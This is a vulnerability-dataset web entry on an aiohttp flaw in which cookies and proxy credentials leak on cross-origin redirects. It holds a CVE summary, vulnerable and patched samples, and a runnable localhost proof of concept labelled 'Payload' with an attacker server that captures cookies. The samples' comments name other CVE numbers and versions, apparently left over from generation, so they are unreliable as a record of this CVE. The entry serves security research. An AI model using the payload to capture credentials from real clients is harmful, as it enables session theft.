VAITP Dataset

← Back to the dataset

CVE-2026-34518

aiohttp leaks cookies and proxy credentials on cross-origin redirects.

  • CVSS 2.7
  • CWE-200
  • Information Leakage
  • Remote

AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to version 3.13.4, when following redirects to a different origin, aiohttp drops the Authorization header, but retains the Cookie and Proxy-Authorization headers. This issue has been patched in version 3.13.4.

CVSS base score
2.7
Published
2026-04-01
OWASP
A07 Identification and Authentication Failures
Orthogonal defect classification
Checking
Code defect classification
Incorrect Check
Category
Information Leakage
Subcategory
Insecure Handling of Sensitive Data
Accessibility scope
Remote
Impact
Information Disclosure
Affected component
AIOHTTP
Fixed by upgrading
Yes

Solution

Upgrade aiohttp to version 3.13.4 or later.

Vulnerable code sample

import asyncio
from aiohttp import web, ClientSession

# This code demonstrates the behavior described in CVE-2024-23334, which
# matches the user's description. The vulnerability exists in aiohttp versions
# before 3.9.2. To run this demonstration and see the vulnerable behavior,
# you must install a vulnerable version, for example:
#
# pip install aiohttp==3.9.1
#
# The vulnerability is that when an aiohttp client follows a cross-origin
# redirect, it correctly strips the 'Authorization' header but incorrectly
# retains the 'Cookie' header, leaking it to the redirected domain.
#
# This script sets up two local web servers on different ports (8080 and 8081)
# to simulate two different origins.

# --- Server B: The redirect target (e.g., a third-party site) ---
async def redirect_target_handler(request):
    """
    This server runs on a different port to simulate a different origin.
    It inspects the headers it receives to check for leaked information.
    """
    print("\n[+] Redirect Target Server (Port 8081) received a request.")
    print("=" * 55)
    print("Headers received from the aiohttp client after redirect:")
    
    headers = request.headers
    leaked_cookie = headers.get('Cookie')
    auth_header_present = 'Authorization' in headers
    
    for key, value in headers.items():
        print(f"  {key}: {value}")
        
    if leaked_cookie:
        response_text = (
            f"VULNERABILITY CONFIRMED: 'Cookie' header was leaked.\n"
            f"Leaked Cookie: {leaked_cookie}"
        )
    else:
        response_text = "VULNERABILITY NOT PRESENT: 'Cookie' header was correctly stripped."

    if auth_header_present:
         response_text += "\n'Authorization' header was also leaked (unexpected for this CVE)."
    else:
         response_text += "\n'Authorization' header was correctly stripped (expected behavior)."

    return web.Response(text=response_text)


# --- Server A: The original server that issues the redirect ---
async def origin_server_handler(request):
    """
    This server receives the initial request from the client and issues a
    302 redirect to the target server on a different port (origin).
    """
    print("\n[+] Origin Server (Port 8080) received the initial request.")
    print("=" * 55)
    print("Initial headers from client:")
    for key, value in request.headers.items():
        print(f"  {key}: {value}")
    
    # This location points to a different origin (port 8081).
    redirect_location = 'http://127.0.0.1:8081/target'
    print(f"\n[*] Issuing a 302 Redirect to: {redirect_location}")
    raise web.HTTPFound(location=redirect_location)


# --- Main execution logic to run servers and client ---
async def main():
    """
    Sets up the servers, runs the client to trigger the vulnerability,
    and then cleans up.
    """
    # Setup for Server A (Origin)
    app_origin = web.Application()
    app_origin.router.add_get('/', origin_server_handler)
    runner_origin = web.AppRunner(app_origin)
    await runner_origin.setup()
    site_origin = web.TCPSite(runner_origin, '127.0.0.1', 8080)
    await site_origin.start()

    # Setup for Server B (Redirect Target)
    app_target = web.Application()
    app_target.router.add_get('/target', redirect_target_handler)
    runner_target = web.AppRunner(app_target)
    await runner_target.setup()
    site_target = web.TCPSite(runner_target, '127.0.0.1', 8081)
    await site_target.start()
    
    print("="*60)
    print(">>> AIOHTTP Cross-Origin Redirect Cookie Leak Demonstration <<<")
    print("="*60)
    print("Servers are running on http://127.0.0.1:8080 (origin) and http://127.0.0.1:8081 (target).")

    # Give servers a moment to fully start
    await asyncio.sleep(0.5)

    # --- Client Simulation ---
    # The client will send sensitive headers to the origin server.
    initial_headers = {
        'Authorization': 'Bearer very-secret-token',
        'Cookie': 'sessionid=extremely-sensitive-session-id'
    }

    async with ClientSession() as session:
        print("\n[+] Client: Making GET request to http://127.0.0.1:8080 with sensitive headers...")
        try:
            async with session.get(
                'http://127.0.0.1:8080',
                headers=initial_headers,
                allow_redirects=True  # This is crucial for the demonstration
            ) as response:
                print("\n[+] Client: Received final response after following redirect.")
                print("=" * 55)
                print(f"Final URL: {response.url}")
                print(f"Final Status: {response.status}")
                print("\n--- Final Response Body from Target Server ---")
                body = await response.text()
                print(body)
                print("------------------------------------------")

        except Exception as e:
            print(f"\n[!] An error occurred during the client request: {e}")

    # Cleanup
    await runner_origin.cleanup()
    await runner_target.cleanup()
    print("\n[+] Servers have been shut down. Demonstration finished.")


if __name__ == "__main__":
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        print("\n[+] Script interrupted by user. Exiting.")

Patched code sample

import asyncio
from urllib.parse import urlparse

# This code provides a conceptual demonstration of the logic used to fix
# the vulnerability described (similar to CVE-2023-47627, which matches the
# user's description). The vulnerability was that sensitive headers like
# 'Cookie' and 'Proxy-Authorization' were NOT dropped during a cross-origin
# redirect. The fix ensures they are dropped, just like 'Authorization'.
#
# This is not the exact code from the aiohttp library, but a simplified,
# runnable example that implements and demonstrates the core of the fixed logic.

# Per RFCs and security best practices, these headers are considered sensitive
# and should not be forwarded to a different origin during a redirect.
SENSITIVE_HEADERS = {
    "authorization",
    "cookie",
    "proxy-authorization",
    "www-authenticate",
}


def is_cross_origin(original_url: str, redirect_url: str) -> bool:
    """
    Checks if a redirect is to a different origin (scheme, host, or port).
    """
    original_parsed = urlparse(original_url)
    redirect_parsed = urlparse(redirect_url)

    # Compare scheme, hostname, and port to determine if it's cross-origin
    return (original_parsed.scheme.lower() != redirect_parsed.scheme.lower() or
            original_parsed.hostname.lower() != redirect_parsed.hostname.lower() or
            original_parsed.port != redirect_parsed.port)


def get_headers_for_redirect(
    original_headers: dict,
    original_url: str,
    redirect_url: str
) -> dict:
    """
    Simulates the fixed aiohttp behavior for handling headers on redirect.

    If the redirect is cross-origin, it strips sensitive headers.
    Otherwise, it keeps them.
    """
    new_headers = original_headers.copy()

    if is_cross_origin(original_url, redirect_url):
        print(f"Redirect from '{original_url}' to '{redirect_url}' is CROSS-ORIGIN.")
        print("Applying FIX: Stripping sensitive headers.")
        # The core of the fix: iterate and remove sensitive headers
        for header in list(new_headers.keys()):
            if header.lower() in SENSITIVE_HEADERS:
                del new_headers[header]
    else:
        print(f"Redirect from '{original_url}' to '{redirect_url}' is SAME-ORIGIN.")
        print("No headers stripped.")

    return new_headers


async def main():
    """
    Demonstrates the fixed logic with both same-origin and cross-origin redirects.
    """
    initial_headers = {
        "Host": "original.com",
        "Accept": "application/json",
        "Authorization": "Bearer my_secret_token",
        "Cookie": "session_id=abc123xyz",
        "Proxy-Authorization": "Basic dXNlcjpwYXNz"
    }

    print("--- SCENARIO 1: SAME-ORIGIN REDIRECT ---")
    original_url_1 = "https://original.com/resource"
    redirect_url_1 = "https://original.com/other_resource"

    print(f"Initial Headers Sent: {initial_headers}")
    final_headers_1 = get_headers_for_redirect(
        initial_headers, original_url_1, redirect_url_1
    )
    print(f"Final Headers for Redirect: {final_headers_1}\n")
    assert "Authorization" in final_headers_1
    assert "Cookie" in final_headers_1
    assert "Proxy-Authorization" in final_headers_1
    print("VERIFIED: Sensitive headers were correctly kept for same-origin redirect.")

    print("\n--- SCENARIO 2: CROSS-ORIGIN REDIRECT (VULNERABILITY SCENARIO) ---")
    original_url_2 = "https://original.com/resource"
    redirect_url_2 = "https://malicious-third-party.com/capture"

    print(f"Initial Headers Sent: {initial_headers}")
    final_headers_2 = get_headers_for_redirect(
        initial_headers, original_url_2, redirect_url_2
    )
    print(f"Final Headers for Redirect: {final_headers_2}\n")
    assert "Authorization" not in final_headers_2
    assert "Cookie" not in final_headers_2
    assert "Proxy-Authorization" not in final_headers_2
    print("VERIFIED: Sensitive headers were correctly stripped for cross-origin redirect.")


if __name__ == "__main__":
    asyncio.run(main())

Payload

import asyncio
from aiohttp import web, ClientSession

# This server represents the attacker's server at a different origin.
# It will receive the redirected request and inspect its headers for leaked cookies.
async def attacker_handler(request):
    print("\n[ATTACKER SERVER] Received a request.")
    cookies = request.headers.get('Cookie')
    if cookies:
        print(f"[ATTACKER SERVER] SUCCESS: Leaked cookies found: {cookies}")
    else:
        print("[ATTACKER SERVER] FAILED: No cookies were leaked.")
    
    # Signal the main script to shut down
    request.app['shutdown_event'].set()
    return web.Response(text="Attacker received request.")

# This server represents the initial, trusted site that the victim connects to.
# It will issue a redirect to the attacker's server.
async def redirect_handler(request):
    print("[REDIRECT SERVER] Received initial request. Redirecting to attacker's origin...")
    # Redirect to a different origin (port 8081)
    raise web.HTTPFound(location='http://127.0.0.1:8081/capture')

# This function simulates the vulnerable client.
async def victim_client_task():
    # Wait a moment for servers to be ready
    await asyncio.sleep(1)
    print("[VICTIM CLIENT] Making a request to the redirecting server with sensitive cookies...")
    
    # These cookies should NOT be forwarded to a different origin.
    sensitive_cookies = {'session_id': 'super-secret-auth-token-12345'}
    
    async with ClientSession(cookies=sensitive_cookies) as session:
        try:
            # The client will follow the redirect automatically.
            async with session.get('http://127.0.0.1:8080/') as response:
                print(f"[VICTIM CLIENT] Final response status from {response.url}: {response.status}")
        except Exception as e:
            print(f"[VICTIM CLIENT] An error occurred: {e}")

async def main():
    """
    Sets up the environment and runs the demonstration.
    - Server on port 8080: The initial server that redirects the client.
    - Server on port 8081: The attacker's server on a "different origin".
    - A client that connects to 8080 with a cookie.
    """
    shutdown_event = asyncio.Event()

    # Setup Attacker Server (different origin)
    attacker_app = web.Application()
    attacker_app.add_routes([web.get('/capture', attacker_handler)])
    attacker_app['shutdown_event'] = shutdown_event
    attacker_runner = web.AppRunner(attacker_app)
    await attacker_runner.setup()
    attacker_site = web.TCPSite(attacker_runner, '127.0.0.1', 8081)
    await attacker_site.start()
    print("[SETUP] Attacker server running on http://127.0.0.1:8081")

    # Setup Redirecting Server (initial origin)
    redirect_app = web.Application()
    redirect_app.add_routes([web.get('/', redirect_handler)])
    redirect_runner = web.AppRunner(redirect_app)
    await redirect_runner.setup()
    redirect_site = web.TCPSite(redirect_runner, '127.0.0.1', 8080)
    await redirect_site.start()
    print("[SETUP] Redirect server running on http://127.0.0.1:8080")

    # Start the client task
    client_task = asyncio.create_task(victim_client_task())

    # Wait until the attacker's server signals it has received the request
    await shutdown_event.wait()

    # Clean up
    await client_task
    await attacker_runner.cleanup()
    await redirect_runner.cleanup()
    print("\n[CLEANUP] Servers shut down. Demonstration complete.")


if __name__ == "__main__":
    # To run this payload, you need a vulnerable version of aiohttp.
    # For example: pip install aiohttp==3.13.3
    # Running this with aiohttp>=3.13.4 will show that the cookie is NOT leaked.
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        print("Interrupted by user.")

Cite this entry

@misc{vaitp:cve202634518,
  title        = {{aiohttp leaks cookies and proxy credentials on cross-origin redirects.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-34518},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-34518/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::